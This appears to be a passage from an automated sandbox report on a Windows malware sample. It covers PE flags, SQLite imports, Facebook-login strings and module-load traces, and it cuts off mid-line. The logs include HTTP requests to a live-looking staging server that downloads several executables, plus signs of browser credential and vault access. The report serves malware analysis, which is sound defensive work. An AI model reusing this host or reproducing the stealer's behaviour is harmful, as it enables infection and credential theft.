IMAGE_DLLCHARACTERISTICS_NX_COMPAT "ev.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA "R83RL20231230_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_NO_SEH IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "clip64.dll" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT40:T623,Observed unmanaged function "sqlite3_backup_init" in "rise.exe" Observed unmanaged function "sqlite3_backup_step" in "rise.exe" Observed unmanaged function "sqlite3_backup_finish" in "rise.exe" Observed unmanaged function "sqlite3_backup_remaining" in "rise.exe" Observed unmanaged function "sqlite3_backup_pagecount" in "rise.exe" Observed unmanaged function "sqlite3_bind_blob" in "rise.exe" Observed unmanaged function "sqlite3_bind_double" in "rise.exe" Observed unmanaged function "sqlite3_bind_int" in "rise.exe" Observed unmanaged function "sqlite3_bind_int64" in "rise.exe" Observed unmanaged function "sqlite3_bind_null" in "rise.exe" Observed unmanaged function "sqlite3_bind_parameter_index" in "rise.exe" Observed unmanaged function "sqlite3_bind_text" in "rise.exe" Observed unmanaged function "sqlite3_busy_timeout" in "rise.exe" Observed unmanaged function "sqlite3_close_v2" in "rise.exe" Observed unmanaged function "sqlite3_column_blob" in "rise.exe" Observed unmanaged function "sqlite3_column_bytes" in "rise.exe" Observed unmanaged function "sqlite3_column_count" in "rise.exe" Observed unmanaged function "sqlite3_column_decltype" in "rise.exe" Observed unmanaged function "sqlite3_column_double" in "rise.exe" Observed unmanaged function "sqlite3_column_int64" in "rise.exe" Observed unmanaged function "sqlite3_column_name" in "rise.exe" Observed unmanaged function "sqlite3_column_text" in "rise.exe" Observed unmanaged function "sqlite3_column_type" in "rise.exe" Observed unmanaged function "sqlite3_config" in "rise.exe"41:Te6e,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "3a9c8dc060b839403dcfc8a72d29defd.exe") file/memory contains long string with (Indicator: "facebook.com"; File: "Session_13349009416860616") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3i7M54/yU/l/en_US/NJVgMHwCLBZ.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "cf22b46bf828aedc_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3ihVQ4/y8/l/en_US/Ch_YChJCKQS.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "b650d3a74dcf2aec_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yU/r/Jn0xcQmjzFV.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "b6b2ca8cd17c7a3b_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yx/r/GIlJjyzEguQ.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/'5w" (Indicator: "facebook.com"; File: "31d094f3132c4365_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yE/r/xGzxHIbkRpC.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/ASdS" (Indicator: "facebook.com"; File: "c1591fc5f7eaa98e_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yE/r/_BJqgRg0BU5.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/s_H|YOho" (Indicator: "facebook.com"; File: "a5a96d95234ad7a9_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yX/r/Q1EATFzuRFp.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "def82937f35993b9_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/ym/r/RxPOZF3XHzp.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "9b818deec414afde_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yp/r/sKtrEJAtiUM.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "1fed991dd8ff904d_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yh/r/ysfm_2i9xtW.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "0f1363ea4f9274c5_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "7ad6ddeb673e39fc_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yC/r/M08arqdo_nN.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "519c23065abf7002_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/y8/r/geBIVlu_61M.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "d00b300cc8cfeb64_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/y2/r/3FPJ9YC_wUr.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/;@\7" (Indicator: "facebook.com"; File: "dffe04354cd818ab_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yv/r/HtdXy-2D6mm.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "ccb29c191e83ac56_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yP/r/aBIoq18cchP.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "4b8660234992c768_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yq/r/6bjw9N12j0I.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/" (Indicator: "facebook.com"; File: "ecb5a1786e827a7e_0") Found string "_keyhttps://static.xx.fbcdn.net/rsrc.php/v3/yv/r/qvzskUrYlYC.js?_nc_x=Ij3Wp8lg5Kz https://facebook.com/p8fP%" (Indicator: "facebook.com"; File: "a2bbc0a75a50e1cb_0") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "--single-argument https://www.facebook.com/login" (Indicator: "facebook.com"; File: "msedge.exe")42:T5a2,"GET /lend/Setup1234.exe HTTP/1.1 Host: 77.91.68.21" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 06 Jan 2024 02:11:57 GMT Content-Type: application/octet-stream Content-Length: 5913600 Last-Modified: Fri 05 Jan 2024 18:00:59 GMT Connection: keep-alive ETag: "659843db-5a3c00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /lend/R83RL20231230.exe HTTP/1.1 Host: 77.91.68.21" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 06 Jan 2024 02:12:05 GMT Content-Type: application/octet-stream Content-Length: 307200 Last-Modified: Fri 05 Jan 2024 23:55:32 GMT Connection: keep-alive ETag: "659896f4-4b000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /mine/rise.exe HTTP/1.1 Host: 77.91.68.21" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat 06 Jan 2024 02:12:07 GMT Content-Type: application/octet-stream Content-Length: 876544 Last-Modified: Fri 05 Jan 2024 16:01:24 GMT Connection: keep-alive ETag: "659827d4-d6000" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000.......43:T506,Launches browser "msedge.exe" (UID: 00000000-00006748) Launches browser "msedge.exe" (UID: 00000000-00004800) Launches browser "msedge.exe" (UID: 00000000-00001940) Launches browser "msedge.exe" (UID: 00000000-00007788) Launches browser "msedge.exe" (UID: 00000000-00002492) Launches browser "msedge.exe" (UID: 00000000-00005276) Launches browser "msedge.exe" (UID: 00000000-00007308) Launches browser "msedge.exe" (UID: 00000000-00001616) Launches browser "msedge.exe" (UID: 00000000-00001548) Launches browser "msedge.exe" (UID: 00000000-00006480) Launches browser "msedge.exe" (UID: 00000000-00007332) Launches browser "msedge.exe" (UID: 00000000-00002256) Launches browser "msedge.exe" (UID: 00000000-00004156) Launches browser "msedge.exe" (UID: 00000000-00002804) Launches browser "msedge.exe" (UID: 00000000-00002852) Launches browser "msedge.exe" (UID: 00000000-00001588) Launches browser "msedge.exe" (UID: 00000000-00004508) Launches browser "msedge.exe" (UID: 00000000-00005108) Launches browser "msedge.exe" (UID: 00000000-00001080) Launches browser "msedge.exe" (UID: 00000000-00004752) Launches browser "msedge.exe" (UID: 00000000-00004604) Launches browser "msedge.exe" (UID: 00000000-00008156) Launches browser "msedge.exe" (UID: 00000000-00007180)44:T763b,"3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "KERNEL32" at base 75eb0000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764b0000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "FECLIENT.DLL" at base 72e50000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72e20000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "NTDLL.DLL" at base 77420000 "3a9c8dc060b839403dcfc8a72d29defd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "Lm3NB63.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "Lm3NB63.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "Lm3NB63.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "Lm3NB63.exe" loaded module "KERNEL32" at base 75eb0000 "Lm3NB63.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "Lm3NB63.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "Lm3NB63.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764b0000 "Lm3NB63.exe" loaded module "FECLIENT.DLL" at base 72e50000 "Lm3NB63.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72e20000 "Lm3NB63.exe" loaded module "NTDLL.DLL" at base 77420000 "Lm3NB63.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "Rb3sH52.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "Rb3sH52.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "Rb3sH52.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "Rb3sH52.exe" loaded module "KERNEL32" at base 75eb0000 "Rb3sH52.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "Rb3sH52.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "Rb3sH52.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764b0000 "Rb3sH52.exe" loaded module "FECLIENT.DLL" at base 72e50000 "Rb3sH52.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72e20000 "Rb3sH52.exe" loaded module "NTDLL.DLL" at base 77420000 "Rb3sH52.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "cN5Rh86.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "cN5Rh86.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "cN5Rh86.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "cN5Rh86.exe" loaded module "KERNEL32" at base 75eb0000 "cN5Rh86.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "cN5Rh86.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "cN5Rh86.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 764b0000 "cN5Rh86.exe" loaded module "FECLIENT.DLL" at base 72e50000 "cN5Rh86.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72e20000 "cN5Rh86.exe" loaded module "NTDLL.DLL" at base 77420000 "cN5Rh86.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "1uT83YZ4.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "1uT83YZ4.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "1uT83YZ4.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "1uT83YZ4.exe" loaded module "KERNEL32" at base 75eb0000 "1uT83YZ4.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "1uT83YZ4.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738c0000 "1uT83YZ4.exe" loaded module "API-MS-WIN-CORE-SYSINFO-L1-2-1" at base 74100000 "1uT83YZ4.exe" loaded module "COMCTL32.DLL" at base 72a90000 "1uT83YZ4.exe" loaded module "COMCTL32" at base 72a90000 "1uT83YZ4.exe" loaded module "RPCRT4.DLL" at base 74040000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 724e0000 "1uT83YZ4.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75eb0000 "1uT83YZ4.exe" loaded module "USER32.DLL" at base 75660000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.SHELL.SERVICEHOSTBUILDER.DLL" at base 72110000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSWOW64\IEFRAME.DLL" at base 715a0000 "1uT83YZ4.exe" loaded module "PROPSYS.DLL" at base 73390000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73390000 "1uT83YZ4.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 75b10000 "1uT83YZ4.exe" loaded module "SECUR32.DLL" at base 72da0000 "1uT83YZ4.exe" loaded module "SSPICLI.DLL" at base 73e40000 "1uT83YZ4.exe" loaded module "MLANG.DLL" at base 714e0000 "1uT83YZ4.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 75ff0000 "1uT83YZ4.exe" loaded module "WININET.DLL" at base 727c0000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.UI.APPDEFAULTS.DLL" at base 0 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76cd0000 "1uT83YZ4.exe" loaded module "NTDLL.DLL" at base 77420000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "1uT83YZ4.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 73620000 "1uT83YZ4.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-1" at base 73e60000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74100000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74100000 "2cD4503.exe" loaded module "KERNEL32" at base 75eb0000 "2cD4503.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 73560000 "2cD4503.exe" loaded module "ADVAPI32.DLL" at base 764b0000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72a00000 "2cD4503.exe" loaded module "SHLWAPI.DLL" at base 76630000 "2cD4503.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 73e60000 "2cD4503.exe" loaded module "VERSION.DLL" at base 73b60000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 72250000 "2cD4503.exe" loaded module "USER32.DLL" at base 75660000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74100000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "2cD4503.exe" loaded module "MSCOREE.DLL" at base 72df0000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 75b10000 "2cD4503.exe" loaded module "PSAPI.DLL" at base 772a0000 "2cD4503.exe" loaded module "KERNEL32.DLL" at base 75eb0000 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 70d90000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "2cD4503.exe" loaded module "RPCRT4.DLL" at base 74040000 "2cD4503.exe" loaded module "OLE32.DLL" at base 767a0000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "2cD4503.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 75b10000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74100000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 70d00000 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 702a0000 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 6fa80000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 6f970000 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 6f1f0000 "2cD4503.exe" loaded module "NTDLL.DLL" at base 77420000 "2cD4503.exe" loaded module "SHELL32.DLL" at base 74320000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "2cD4503.exe" loaded module "BCRYPT.DLL" at base 73160000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 6f1c0000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d90000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 738c0000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "2cD4503.exe" loaded module "%WINDIR%\SYSWOW64\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 6dd50000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 76cd0000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73390000 "2cD4503.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 6dcc0000 "2cD4503.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 74320000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 75eb0000 "2cD4503.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 6e8a0000 "2cD4503.exe" loaded module "MSISO.DLL" at base 6e5d0000 "2cD4503.exe" loaded module "SSPICLI.DLL" at base 73e40000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 74100000 "2cD4503.exe" loaded module "%WINDIR%\SYSWOW64\WINDOWS.STORAGE.DLL" at base 76cd0000 "2cD4503.exe" loaded module "CSCAPI.DLL" at base 73150000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "2cD4503.exe" loaded module "WS2_32.DLL" at base 765c0000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 73820000 "2cD4503.exe" loaded module "%TEMP%\IXP003.TMP\SQLITE3" at base 0 "2cD4503.exe" loaded module "SQLITE3" at base 6ee80000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 6ee30000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 74100000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6ee10000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6ed90000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6ed80000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6eb70000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 74100000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 74100000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "2cD4503.exe" loaded module "OLEAUT32.DLL" at base 75830000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "2cD4503.exe" loaded module "%TEMP%\IXP003.TMP\SETUPAPI.DLL" at base 0 "2cD4503.exe" loaded module "SETUPAPI.DLL" at base 76080000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 76960000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "2cD4503.exe" loaded module "RASAPI32.DLL" at base 6ea90000 "2cD4503.exe" loaded module "RASMAN.DLL" at base 6ed50000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "2cD4503.exe" loaded module "WINHTTP.DLL" at base 6e1c0000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 6ed10000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "2cD4503.exe" loaded module "IPHLPAPI.DLL" at base 73d60000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 6ed10000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 6ea40000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "2cD4503.exe" loaded module "SECUR32.DLL" at base 6ef50000 "2cD4503.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6e150000 "2cD4503.exe" loaded module "MSKEYPROTECT.DLL" at base 6ed00000 "2cD4503.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 6e630000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "2cD4503.exe" loaded module "CRYPT32.DLL" at base 758d0000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 6e270000 "2cD4503.exe" loaded module "VAULTCLI.DLL" at base 6dc80000 "2cD4503.exe" loaded module "%TEMP%\IXP003.TMP\NTDLL.DLL" at base 0 "2cD4503.exe" loaded module "%TEMP%\IXP003.TMP\CRYPT32.DLL" at base 0 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 6d8a0000 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 6cc60000 "2cD4503.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 6b870000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "2cD4503.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 721a0000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "2cD4503.exe" loaded module "DWRITE.DLL" at base 6b5f0000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74100000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74100000 "2cD4503.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74100000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 6b460000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 6b300000 "2cD4503.exe" loaded module "%TEMP%\IXP003.TMP\WINBRAND.DLL" at base 0 "2cD4503.exe" loaded module "WINBRAND.DLL" at base 6b140000 "2cD4503.exe" loaded module "GDI32.DLL" at base 75f90000 "2cD4503.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6ac80000 "2cD4503.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 75eb0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74100000 "powershell.exe" loaded module 